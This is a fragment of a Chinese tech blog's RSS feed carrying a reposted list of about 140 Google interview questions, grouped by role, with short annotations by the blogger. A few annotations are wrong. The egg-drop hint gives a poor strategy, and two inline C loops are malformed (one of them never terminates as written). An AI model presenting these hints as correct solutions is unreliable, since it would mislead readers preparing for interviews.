src=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_1-150x150.jpg\" alt=\"Linux的“宕机”图片\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/313.html\" class=\"wp_rp_title\">Linux的“宕机”图片</a></li><li ><a href=\"https://coolshell.cn/articles/10449.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"C++模板”&gt;&gt;”编译问题与词法消歧设计\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10449.html\" class=\"wp_rp_title\">C++模板”&gt;&gt;”编译问题与词法消歧设计</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3356.html\">五个免费开源的数据挖掘软件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3356.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>19</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>140个Google的面试题</title>\n\t\t<link>https://coolshell.cn/articles/3345.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3345.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 02 Dec 2010 00:44:24 +0000</pubDate>\n\t\t\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Puzzle]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<category><![CDATA[面试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3345</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>来源：http://blog.seattleinterviewcoach.com/2009/02/140-google-interview-questions....</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3345.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3345.html\">140个Google的面试题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>来源：<a href=\"http://blog.seattleinterviewcoach.com/2009/02/140-google-interview-questions.html\" target=\"_blank\">http://blog.seattleinterviewcoach.com/2009/02/140-google-interview-questions.html</a>（墙）<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-3349\" title=\"Google 面试题 \" src=\"https://coolshell.cn/wp-content/uploads/2010/12/googlequestion-300x225.jpg\" alt=\"\" width=\"210\" height=\"158\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/12/googlequestion-300x225.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/12/googlequestion-360x270.jpg 360w, https://coolshell.cn/wp-content/uploads/2010/12/googlequestion.jpg 400w\" sizes=\"(max-width: 210px) 100vw, 210px\" /></p>\n<div>某猎头收集了140多个Google的面试题，都张到他的Blog中了，主要是下面这些职位的，因为被墙，且无任何敏感信息，所以，我原文搬过来了。</div>\n<div>\n<ul>\n<li>Product Marketing Manager</li>\n<li>Product Manager</li>\n<li>Software Engineer</li>\n<li>Software Engineer in Test</li>\n<li>Quantitative Compensation Analyst</li>\n<li>Engineering Manager</li>\n<li>AdWords Associate</li>\n</ul>\n</div>\n<p>这篇Blog例举了Google用来面试下面这几个职位的面试题。很多不是很容易回答，不过都比较经典与变态，是Google，Microsoft，Amazon之类的公司的风格。对于本文，我没有翻译，因为我相信，英文问题是最好的。不过对于有些问题，我做了一些注释，不一定对，但希望对你有帮助启发。对于一些问题，如果你百思不得其解，可以Google一下，StackOverflow或是Wikipedia上可能会给你非常全面的答案。</p>\n<p><span id=\"more-3345\"></span></p>\n<div><strong>Product Marketing Manager</strong></div>\n<div>\n<div>\n<ul>\n<li>Why do you want to join Google?</li>\n<li>What do you know about Google&#8217;s product and technology?</li>\n<li>If you are Product Manager for Google&#8217;s Adwords, how do you plan to market this?</li>\n<li>What would you say during an AdWords or AdSense product seminar?</li>\n<li>Who are Google&#8217;s competitors, and how does Google compete with them?</li>\n<li>Have you ever used Google&#8217;s products? Gmail?</li>\n<li>What&#8217;s a creative way of marketing Google&#8217;s brand name and product?</li>\n<li>If you are the product marketing manager for Google&#8217;s Gmail product, how do you plan to market it so as to achieve 100 million customers in 6 months?</li>\n<li>How much money you think Google makes daily from Gmail ads?</li>\n<li>Name a piece of technology you’ve read about recently. Now tell me your own creative execution for an ad for that product.</li>\n<li>Say an advertiser makes $0.10 every time someone clicks on their ad.  Only 20% of people who visit the site click on their ad.  How many people need to visit the site for the advertiser to make $20?<span style=\"white-space: pre;\"> </span></li>\n<li>Estimate the number of students who are college seniors, attend four-year schools, and graduate with a job in the United States every year.</li>\n</ul>\n</div>\n</div>\n<div><strong>Product Manager</strong></div>\n<div>\n<div>\n<ul>\n<li>How would you boost the GMail subscription base?</li>\n<li>What is the most efficient way to sort a million integers?  （陈皓：merge sort）</li>\n<li>How would you re-position Google&#8217;s offerings to counteract competitive threats from Microsoft?</li>\n<li>How many golf balls can fit in a school bus? （陈皓：这种题一般来说是考你的解题思路的，注意，你不能单纯地把高尔夫球当成一个小立方体，其是一个圆球，堆起来的时候应该是错开的——也就是三个相邻的球的圆心是个等边三角形）</li>\n<li>You are shrunk to the height of a nickel and your mass is proportionally reduced so as to maintain your original density. You are then thrown into an empty glass blender. The blades will start moving in 60 seconds. What do you do?</li>\n<li>How much should you charge to wash all the windows in Seattle?</li>\n<li>How would you find out if a machine’s stack grows up or down in memory?</li>\n<li>Explain a database in three sentences to your eight-year-old nephew. （陈皓：用三句话向8岁的侄子解释什么是数据库，考你的表达能力了）</li>\n<li>How many times a day does a clock’s hands overlap?（陈皓：经典的时钟问题）</li>\n<li>You have to get from point A to point B. You don’t know if you can get there. What would you do?</li>\n<li>Imagine you have a closet full of shirts. It’s very hard to find a shirt. So what can you do to organize your shirts for easy retrieval? （陈皓：很不错的一道题，不要以为分类查询很容易，想想图书馆图书的分类查询问题吧。另外，你处想想如何在你在你的衣柜里实现一个相当于Hash表或是一个Tree之类的数据结构）</li>\n<li>Every man in a village of 100 married couples has cheated on his wife. Every wife in the village instantly knows when a man other than her husband has cheated, but does not know when her own husband has. The village has a law that does not allow for adultery. Any wife who can prove that her husband is unfaithful must kill him that very day. The women of the village would never disobey this law. One day, the queen of the village visits and announces that at least one husband has been unfaithful. What happens? （陈皓：这个问题很有限制级，哈哈，非常搞的一个问题，注意wife们的递归，这类的问题是经典的分布式通讯问题，上网搜 一搜吧。）</li>\n<li>In a country in which people only want boys, every family continues to have children until they have a boy. If they have a girl, they have another child. If they have a boy, they stop. What is the proportion of boys to girls in the country?（陈皓：第一反应是——这个国家是中国。一个概率问题，其实，无论你怎么生，50%的概率是永远不变的。）</li>\n<li>If the probability of observing a car in 30 minutes on a highway is 0.95, what is the probability of observing a car in 10 minutes (assuming constant default probability)?</li>\n<li>If you look at a clock and the time is 3:15, what is the angle between the hour and the minute hands? (The answer to this is not zero!)</li>\n<li>Four people need to cross a rickety rope bridge to get back to their camp at night. Unfortunately, they only have one flashlight and it only has enough light left for seventeen minutes. The bridge is too dangerous to cross without a flashlight, and it&#8217;s only strong enough to support two people at any given time. Each of the campers walks at a different speed. One can cross the bridge in 1 minute, another in 2 minutes, the third in 5 minutes, and the slow poke takes 10 minutes to cross. How do the campers make it across in 17 minutes?（陈皓：经典的过桥问题）</li>\n<li>You are at a party with a friend and 10 people are present including you and the friend. your friend makes you a wager that for every person you find that has the same birthday as you, you get $1; for every person he finds that does not have the same birthday as you, he gets $2. would you accept the wager?</li>\n<li>How many piano tuners are there in the entire world?</li>\n<li>You have eight balls all of the same size. 7 of them weigh the same, and one of them weighs slightly more. How can you find the ball that is heavier by using a balance and only two weighings?（陈皓：经典的称重问题。这样的问题花样很多，不过都不难回答）</li>\n<li>You have five pirates, ranked from 5 to 1 in descending order. The top pirate has the right to propose how 100 gold coins should be divided among them. But the others get to vote on his plan, and if fewer than half agree with him, he gets killed. How should he allocate the gold in order to maximize his share but live to enjoy it? (Hint: One pirate ends up with 98 percent of the gold.)</li>\n<li>You are given 2 eggs. You have access to a 100-story building. Eggs can be very hard or very fragile means it may break if dropped from the first floor or may not even break if dropped from 100th floor. Both eggs are identical. You need to figure out the highest floor of a 100-story building an egg can be dropped without breaking. The question is how many drops you need to make. You are allowed to break 2 eggs in the process. （陈皓：从3的倍数的楼层开始扔，比如3，6，9，12&#8230;..，如果鸡蛋在3n层碎了，那到在3n-1层扔第二个鸡蛋，如果没碎，则最高不碎楼层为3n-1，否则为3n-2）</li>\n<li>Describe a technical problem you had and how you solved it.</li>\n<li>How would you design a simple search engine?</li>\n<li>Design an evacuation plan for San Francisco.</li>\n<li>There&#8217;s a latency problem in South Africa. Diagnose it. （陈皓：这个问题完全是在考你的解决问题的能力。没有明确的答案。不过，解决性能问题的第一步通常是找出瓶颈，找瓶颈有很多种方法，工具，二分查，时间记录等等。）</li>\n<li>What are three long term challenges facing Google?</li>\n<li>Name three non-Google websites that you visit often and like.  What do you like about the user interface and design?  Choose one of the three sites and comment on what new feature or project you would work on.  How would you design it?</li>\n<li>If there is only one elevator in the building, how would you change the design?  How about if there are only two elevators in the building? （陈皓：经典的电梯设计问题，这种问题千变万化，主要是考你的设计能力和需求变化的适变能力，与此相似的是酒店订房系统。）</li>\n<li>How many vacuum’s are made per year in USA?</li>\n</ul>\n</div>\n</div>\n<div>\n<div><strong>Software Engineer</strong></div>\n<div>\n<div>\n<ul>\n<li>Why are manhole covers round? （陈皓：为什么下水井盖是圆的？这是有N种答案的，上Wiki看看吧）</li>\n<li>What is the difference between a mutex and a semaphore?  Which one would you use to protect access to an increment operation?</li>\n<li>A man pushed his car to a hotel and lost his fortune. What happened? （陈皓：脑筋急转弯？他在玩大富翁游戏？！！）</li>\n<li>Explain the significance of &#8220;dead beef&#8221;.（陈皓：要是你看到的是16进制 DEAD BEEF，你会觉得这是什么？IPv6的地址？）</li>\n<li>Write a C program which measures the the speed of a context switch on a UNIX/Linux system.</li>\n<li>Given a function which produces a random integer in the range 1 to 5, write a function which produces a random integer in the range 1 to 7.（陈皓：上StackOverflow看看吧，经典的问题）</li>\n<li>Describe the algorithm for a depth-first graph traversal.</li>\n<li>Design a class library for writing card games. （陈皓：用一系列的类来设计一个扑克游戏，设计题）</li>\n<li>You need to check that your friend, Bob, has your correct phone number, but you cannot ask him directly. You must write a the question on a card which and give it to Eve who will take the card to Bob and return the answer to you. What must you write on the card, besides the question, to ensure Bob can encode the message so that Eve cannot read your phone number?（陈皓：协议+数字加密，我试想了一个，纸条上可以这样写，“Bob，请把我的手机号以MD5算法加密后的字符串，比对下面的字符串——XXXXXX，它们是一样的吗？”）</li>\n<li>How are cookies passed in the HTTP protocol?</li>\n<li>Design the SQL database tables for a car rental database.</li>\n<li>Write a regular expression which matches a email address. （陈皓：上StackOverflow查相当的问题吧。）</li>\n<li>Write a function f(a, b) which takes two character string arguments and returns a string containing only the characters found in both strings in the order of a. Write a version which is order N-squared and one which is order N.（陈皓：算法题，不难，不说了。一个O(n^2)和一个O(n)的算法复杂度）</li>\n<li>You are given a the source to a application which is crashing when run. After running it 10 times in a debugger, you find it never crashes in the same place. The application is single threaded, and uses only the C standard library. What programming errors could be causing this crash? How would you test each one? （陈皓：和随机数有关系？或是时间？）</li>\n<li>Explain how congestion control works in the TCP protocol.</li>\n<li>In Java, what is the difference between final, finally, and finalize?</li>\n<li>What is multithreaded programming? What is a deadlock?</li>\n<li>Write a function (with helper functions if needed) called to Excel that takes an excel column value (A,B,C,D…AA,AB,AC,… AAA..) and returns a corresponding integer value (A=1,B=2,… AA=26..).</li>\n<li>You have a stream of infinite queries (ie: real time Google search queries that people are entering). Describe how you would go about finding a good estimate of 1000 samples from this never ending set of data and then write code for it.</li>\n<li>Tree search algorithms. Write BFS and DFS code, explain run time and space requirements. Modify the code to handle trees with weighted edges and loops with BFS and DFS, make the code print out path to goal state.</li>\n<li>You are given a list of numbers. When you reach the end of the list you will come back to the beginning of the list (a circular list). Write the most efficient algorithm to find the minimum # in this list. Find any given # in the list. The numbers in the list are always increasing but you don’t know where the circular list begins, ie: 38, 40, 55, 89, 6, 13, 20, 23, 36. （陈皓：循环排序数组的二分查找问题）</li>\n<li>Describe the data structure that is used to manage memory. (stack)</li>\n<li>What&#8217;s the difference between local and global variables?</li>\n<li>If you have 1 million integers, how would you sort them efficiently? (modify a specific sorting algorithm to solve this)</li>\n<li>In Java, what is the difference between static, final, and const. (if you don&#8217;t know Java they will ask something similar for C or C++).</li>\n<li>Talk about your class projects or work projects (pick something easy)… then describe how you could make them more efficient (in terms of algorithms).</li>\n<li>Suppose you have an NxN matrix of positive and negative integers. Write some code that finds the sub-matrix with the maximum sum of its elements.（陈皓：以前见过一维数组的这个问题，现在是二维的。感觉应该是把二维的第一行的最大和的区间算出来，然后再在这个基础之上进行二维的分析。思路应该是这个，不过具体的算法还需要想一想）</li>\n<li>Write some code to reverse a string.</li>\n<li>Implement division (without using the divide operator, obviously).（陈皓：想一想手算除法的过程。）</li>\n<li>Write some code to find all permutations of the letters in a particular string.</li>\n<li>What method would you use to look up a word in a dictionary? （陈皓：使用排序，哈希，树等算法和数据结构）</li>\n<li>Imagine you have a closet full of shirts. It’s very hard to find a shirt. So what can you do to organize your shirts for easy retrieval?</li>\n<li>You have eight balls all of the same size. 7 of them weigh the same, and one of them weighs slightly more. How can you fine the ball that is heavier by using a balance and only two weighings?</li>\n<li>What is the C-language command for opening a connection with a foreign host over the internet?</li>\n<li>Design and describe a system/application that will most efficiently produce a report of the top 1 million Google search requests. These are the particulars: 1) You are given 12 servers to work with. They are all dual-processor machines with 4Gb of RAM, 4x400GB hard drives and networked together.(Basically, nothing more than high-end PC’s) 2) The log data has already been cleaned for you. It consists of 100 Billion log lines, broken down into 12 320 GB files of 40-byte search terms per line. 3) You can use only custom written applications or available free open-source software.</li>\n<li>There is an array A[N] of N numbers. You have to compose an array Output[N] such that Output[i] will be equal to multiplication of all the elements of A[N] except A[i]. For example Output[0] will be multiplication of A[1] to A[N-1] and Output[1] will be multiplication of A[0] and from A[2] to A[N-1]. Solve it without division operator and in O(n).（陈皓：注意其不能使用除法。算法思路是这样的，把output[i]=a[i]左边的乘积 x a[i]右边的乘积，所以，我们可以分两个循环，第一次先把A[i]左边的乘积放在Output[i]中，第二次把A[i]右边的乘积算出来。我们先看第一次的循环，使用迭代累积的方式，代码如下：for(r=1; i=0; i&lt;n-1; i++){ Output[i]=r; r*=a[i]; }，看明白了吧。第二次的循环我就不说了，方法一样的。）</li>\n<li>There is a linked list of numbers of length N. N is very large and you don’t know N. You have to write a function that will return k random numbers from the list. Numbers should be completely random. Hint: 1. Use random function rand() (returns a number between 0 and 1) and irand() (return either 0 or 1) 2. It should be done in O(n).（陈皓：本题其实不难。在遍历链表的同时一边生成随机数，一边记录最大的K个随机数和其链接地址。）</li>\n<li>Find or determine non existence of a number in a sorted list of N numbers where the numbers range over M, M&gt;&gt; N and N large enough to span multiple disks. Algorithm to beat O(log n) bonus points for constant time algorithm.（陈皓：使用bitmap，如果一个长整形有64位，那么我们可以使用M/64个bitmap）</li>\n<li>You are given a game of Tic Tac Toe. You have to write a function in which you pass the whole game and name of a player. The function will return whether the player has won the game or not. First you to decide which data structure you will use for the game. You need to tell the algorithm first and then need to write the code. Note: Some position may be blank in the game। So your data structure should consider this condition also.</li>\n<li>You are given an array [a1 To an] and we have to construct another array [b1 To bn] where bi = a1*a2*&#8230;*an/ai. you are allowed to use only constant space and the time complexity is O(n). No divisions are allowed.（陈皓：前面说过了）</li>\n<li>How do you put a Binary Search Tree in an array in a efficient manner. Hint :: If the node is stored at the ith position and its children are at 2i and 2i+1(I mean level order wise)Its not the most efficient way.（陈皓：按顺序遍历树）</li>\n<li>How do you find out the fifth maximum element in an Binary Search Tree in efficient manner. Note: You should not use use any extra space. i.e sorting Binary Search Tree and storing the results in an array and listing out the fifth element.</li>\n<li>Given a Data Structure having first n integers and next n chars. A = i1 i2 i3 &#8230; iN c1 c2 c3 &#8230; cN.Write an in-place algorithm to rearrange the elements of the array ass A = i1 c1 i2 c2 &#8230; in cn（陈皓：这个算法其实就是从中间开始交换元素，代码：for(i=n-1; i&gt;1; i++) {  for(j=i; j&lt;2*n-i; j+=2) { swap(a[j], a[j+1]); } }，不好意思写在同一行上了。）</li>\n<li>Given two sequences of items, find the items whose absolute number increases or decreases the most when comparing one sequence with the other by reading the sequence only once.</li>\n<li>Given That One of the strings is very very long , and the other one could be of various sizes. Windowing will result in O(N+M) solution but could it be better? May be NlogM or even better?</li>\n<li>How many lines can be drawn in a 2D plane such that they are equidistant from 3 non-collinear points?</li>\n<li>Let&#8217;s say you have to construct Google maps from scratch and guide a person standing on Gateway of India (Mumbai) to India Gate(Delhi). How do you do the same?</li>\n<li>Given that you have one string of length N and M small strings of length L. How do you efficiently find the occurrence of each small string in the larger one?</li>\n<li>Given a binary tree, programmatically you need to prove it is a binary search tree.</li>\n<li>You are given a small sorted list of numbers, and a very very long sorted list of numbers &#8211; so long that it had to be put on a disk in different blocks. How would you find those short list numbers in the bigger one?</li>\n<li>Suppose you have given N companies, and we want to eventually merge them into one big company. How many ways are theres to merge?</li>\n<li>Given a file of 4 billion 32-bit integers, how to find one that appears at least twice? （陈皓：我能想到的是拆分成若干个小数组，排序，然后一点点归并起来）</li>\n<li>Write a program for displaying the ten most frequent words in a file such that your program should be efficient in all complexity measures.（陈皓：你可能需要看看这篇文章<a href=\"http://www.cs.rutgers.edu/~farach/pubs/FrequentStream.pdf\" target=\"_blank\"><span style=\"text-decoration: underline;\">Finding Frequent Items in Data Streams</span></a>）</li>\n<li>Design a stack. We want to push, pop, and also, retrieve the minimum element in constant time.</li>\n<li>Given a set of coin denominators, find the minimum number of coins to give a certain amount of change.（陈皓：你应该查看一下这篇文章：<a href=\"http://www.algorithmist.com/index.php/Coin_Change\" target=\"_blank\"><span style=\"text-decoration: underline;\">Coin Change Problem</span></a>）</li>\n<li>Given an array, i) find the longest continuous increasing subsequence. ii) find the longest increasing subsequence.（陈皓：这个题不难，O(n)算法是边遍历边记录当前最大的连续的长度。）</li>\n<li>Suppose we have N companies, and we want to eventually merge them into one big company. How many ways are there to merge?</li>\n<li>Write a function to find the middle node of a single link list. （陈皓：我能想到的算法是——设置两个指针p1和p2，每一次，p1走两步，p2走一步，这样，当p1走到最后时，p2就在中间）</li>\n<li>Given two binary trees, write a compare function to check if they are equal or not. Being equal means that they have the same value and same structure.（陈皓：这个很简单，使用递归算法。）</li>\n<li>Implement put/get methods of a fixed size cache with LRU replacement algorithm.</li>\n<li>You are given with three sorted arrays ( in ascending order), you are required to find a triplet ( one element from each array) such that distance is minimum. Distance is defined like this : If a[i], b[j] and c[k] are three elements then distance=max(abs(a[i]-b[j]),abs(a[i]-c[k]),abs(b[j]-c[k]))&#8221; Please give a solution in O(n) time complexity（陈皓：三个指针，a, b, c分别指向三个数组头，假设：a[0]&lt;b[0]&lt;c[0]，推进a直到a[i]&gt;b[0]，计算 abs(a[i-1] &#8211; c[0])，把结果保存在min中。现在情况变成找 a[i], b[0],c[0]，重复上述过程，如果有一个新的值比min要小，那就取代现有的min。）</li>\n<li>How does C++ deal with constructors and deconstructors of a class and its child class?</li>\n<li>Write a function that flips the bits inside a byte (either in C++ or Java). Write an algorithm that take a list of n words, and an integer m, and retrieves the mth most frequent word in that list.</li>\n<li>What&#8217;s 2 to the power of 64?</li>\n<li>Given that you have one string of length N and M small strings of length L. How do you efficiently find the occurrence of each small string in the larger one? （陈皓：我能想到的是——把那M个小字串排个序，然后遍历大字串，并在那M个字串中以二分取中的方式查找。）</li>\n<li>How do you find out the fifth maximum element in an Binary Search Tree in efficient manner.</li>\n<li>Suppose we have N companies, and we want to eventually merge them into one big company. How many ways are there to merge?</li>\n<li>There is linked list of millions of node and you do not know the length of it. Write a function which will return a random number from the list.</li>\n<li>You need to check that your friend, Bob, has your correct phone number, but you cannot ask him directly. You must write a the question on a card which and give it to Eve who will take the card to Bob and return the answer to you. What must you write on the card, besides the question, to ensure Bob can encode the message so that Eve cannot read your phone number?</li>\n<li>How long it would take to sort 1 trillion numbers? Come up with a good estimate.</li>\n<li>Order the functions in order of their asymptotic performance: 1) 2^n 2) n^100 3) n! 4) n^n</li>\n<li>There are some data represented by(x,y,z). Now we want to find the Kth least data. We say (x1, y1, z1) &gt; (x2, y2, z2) when value(x1, y1, z1) &gt; value(x2, y2, z2) where value(x,y,z) = (2^x)*(3^y)*(5^z). Now we can not get it by calculating value(x,y,z) or through other indirect calculations as lg(value(x,y,z)). How to solve it?</li>\n<li>How many degrees are there in the angle between the hour and minute hands of a clock when the time is a quarter past three?</li>\n<li>Given an array whose elements are sorted, return the index of a the first occurrence of a specific integer. Do this in sub-linear time. I.e. do not just go through each element searching for that element.</li>\n<li>Given two linked lists, return the intersection of the two lists: i.e. return a list containing only the elements that occur in both of the input lists. （陈皓：把第一个链表存入hash表，然后遍历第二个链表。不知道还没有更好的方法。）</li>\n<li>What&#8217;s the difference between a hashtable and a hashmap?</li>\n<li>If a person dials a sequence of numbers on the telephone, what possible words/strings can be formed from the letters associated with those numbers?（陈皓：这个问题和美国的电话有关系，大家可以试着想一下我们发短信的手机，按数字键出字母，一个组合的数学问题。）</li>\n<li>How would you reverse the image on an n by n matrix where each pixel is represented by a bit?</li>\n<li>Create a fast cached storage mechanism that, given a limitation on the amount of cache memory, will ensure that only the least recently used items are discarded when the cache memory is reached when inserting a new item. It supports 2 functions: String get(T t) and void put(String k, T t).</li>\n<li>Create a cost model that allows Google to make purchasing decisions on to compare the cost of purchasing more RAM memory for their servers vs. buying more disk space.</li>\n<li>Design an algorithm to play a game of Frogger and then code the solution. The object of the game is to direct a frog to avoid cars while crossing a busy road. You may represent a road lane via an array. Generalize the solution for an N-lane road.</li>\n<li>What sort would you use if you had a large data set on disk and a small amount of ram to work with?</li>\n<li>What sort would you use if you required tight max time bounds and wanted highly regular performance.</li>\n<li>How would you store 1 million phone numbers?（陈皓：试想电话是有区段的，可以把区段统一保存，Flyweight设计模式）</li>\n<li>Design a 2D dungeon crawling game. It must allow for various items in the maze &#8211; walls, objects, and computer-controlled characters. (The focus was on the class structures, and how to optimize the experience for the user as s/he travels through the dungeon.)</li>\n<li>What is the size of the C structure below on a 32-bit system? On a 64-bit? （陈皓：注意编译器的对齐）</li>\n</ul>\n<p style=\"padding-left: 90px;\">struct foo {</p>\n<div style=\"padding-left: 90px;\">char a;</div>\n<div style=\"padding-left: 90px;\">char* b;</div>\n<div style=\"padding-left: 90px;\">};</div>\n</div>\n</div>\n<div><strong>Software Engineer in Test</strong></div>\n<div>\n<ul>\n<li>Efficiently implement 3 stacks in a single array.</li>\n<li>Given an array of integers which is circularly sorted, how do you find a given integer.</li>\n<li>Write a program to find depth of binary search tree without using recursion.</li>\n<li>Find the maximum rectangle (in terms of area) under a histogram in linear time.</li>\n<li>Most phones now have full keyboards. Before there there three letters mapped to a number button. Describe how you would go about implementing spelling and word suggestions as people type.</li>\n<li>Describe recursive mergesort and its runtime. Write an iterative version in C++/Java/Python.</li>\n<li>How would you determine if someone has won a game of tic-tac-toe on a board of any size?</li>\n<li>Given an array of numbers, replace each number with the product of all the numbers in the array except the number itself *without* using division.</li>\n<li>Create a cache with fast look up that only stores the N most recently accessed items.</li>\n<li>How to design a search engine? If each document contains a set of keywords, and is associated with a numeric attribute, how to build indices?</li>\n<li>Given two files that has list of words (one per line), write a program to show the intersection.</li>\n<li>What kind of data structure would you use to index annagrams of words? e.g. if there exists the word &#8220;top&#8221; in the database, the query for &#8220;pot&#8221; should list that.</li>\n</ul>\n<div>\n<div><strong>Quantitative Compensation Analyst</strong></div>\n</div>\n</div>\n<div>\n<ul>\n<li>What is the yearly standard deviation of a stock given the monthly standard deviation?</li>\n<li>How many resumes does Google receive each year for software engineering?</li>\n<li>Anywhere in the world, where would you open up a new Google office and how would you figure out compensation for all the employees at this new office?</li>\n<li>What is the probability of breaking a stick into 3 pieces and forming a triangle?</li>\n</ul>\n</div>\n<div><strong>Engineering Manager</strong></div>\n<div>\n<ul>\n<li>You&#8217;re the captain of a pirate ship, and your crew gets to vote on how the gold is divided up. If fewer than half of the pirates agree with you, you die. How do you recommend apportioning the gold in such a way that you get a good share of the booty, but still survive?</li>\n</ul>\n</div>\n<div><strong>AdWords Associate</strong></div>\n<div>\n<ul>\n<li>How would you work with an advertiser who was not seeing the benefits of the AdWords relationship due to poor conversions?</li>\n<li>How would you deal with an angry or frustrated advertisers on the phone?</li>\n</ul>\n</div>\n<div><span style=\"font-size: small;\"><em>Sources</em></span></div>\n<div style=\"padding-left: 30px;\"><span><span style=\"font-size: small;\"><a href=\"http://news.ycombinator.com/item?id=266663\" target=\"_blank\">http://news.ycombinator.com/item?id=266663</a> </span></span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://tihomir.org/crazy-questions-at-google-job-interview/\" target=\"_blank\">http://tihomir.org/crazy-questions-at-google-job-interview/</a><br />\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://www.drizzle.com/~jpaint/google.html\" target=\"_blank\">http://www.drizzle.com/~jpaint/google.html</a><br />\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://www.gamedev.net/community/forums/topic.asp?topic_id=299692\" target=\"_blank\">http://www.gamedev.net/community/forums/topic.asp?topic_id=299692</a><br />\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://careers.cse.sc.edu/googleinterview\" target=\"_blank\">http://careers.cse.sc.edu/googleinterview</a><br />\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://job-interview.blogspot.com/2005/02/google-interview-product-marketing.html\" target=\"_blank\">http://job-interview.blogspot.com/2005/02/google-interview-product-marketing.html</a><br />\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://www.theregister.co.uk/2007/01/05/google_interview_tales/\" target=\"_blank\">http://www.theregister.co.uk/2007/01/05/google_interview_tales/</a><br />\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://money.cnn.com/2007/08/29/technology/brain_teasers.biz2/index.htm\" target=\"_blank\">http://money.cnn.com/2007/08/29/technology/brain_teasers.biz2/index.htm</a><br />\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://money.cnn.com/2007/08/29/technology/brain_teasers.biz2/index.htm\" target=\"_blank\">http://blogs.lessthandot.com/index.php/ITProfessionals/EthicsIT/google-interview-questions</a><br />\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://placementsindia.blogspot.com/2007/09/google-top-interview-puzzles.html\" target=\"_blank\">http://placementsindia.blogspot.com/2007/09/google-top-interview-puzzles.html</a><br />\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://linkmingle.com/user/interview_questions/google_interview_questions\" target=\"_blank\">http://linkmingle.com/user/interview_questions/google_interview_questions</a><br />\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://discuss.joelonsoftware.com/default.asp?interview.11.626758.33\" target=\"_blank\">http://discuss.joelonsoftware.com/default.asp?interview.11.626758.33</a><br />\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://mindcipher.com/puzzle/78-clock-works\" target=\"_blank\">http://mindcipher.com/puzzle/78-clock-works</a><br />\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://www.glassdoor.com\" target=\"_blank\">http://www.glassdoor.com</a></span></div>\n<div style=\"padding-left: 30px;\">\n<div><span style=\"font-size: small;\"><a href=\"http://bluepixel.ca/blog/?p=69\" target=\"_blank\">http://bluepixel.ca/blog/?p=69</a></span></div>\n<div><span style=\"font-size: small;\"> </span><span style=\"font-size: small;\"><a href=\"http://www.businessinsider.com/my-nightmare-interviews-with-google-2009-11\" target=\"_blank\">http://www.businessinsider.com/my-nightmare-interviews-with-google-2009-11</a></span></div>\n<div><span style=\"font-size: small;\"><br />\n</span></div>\n</div>\n</div>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12052.html\" 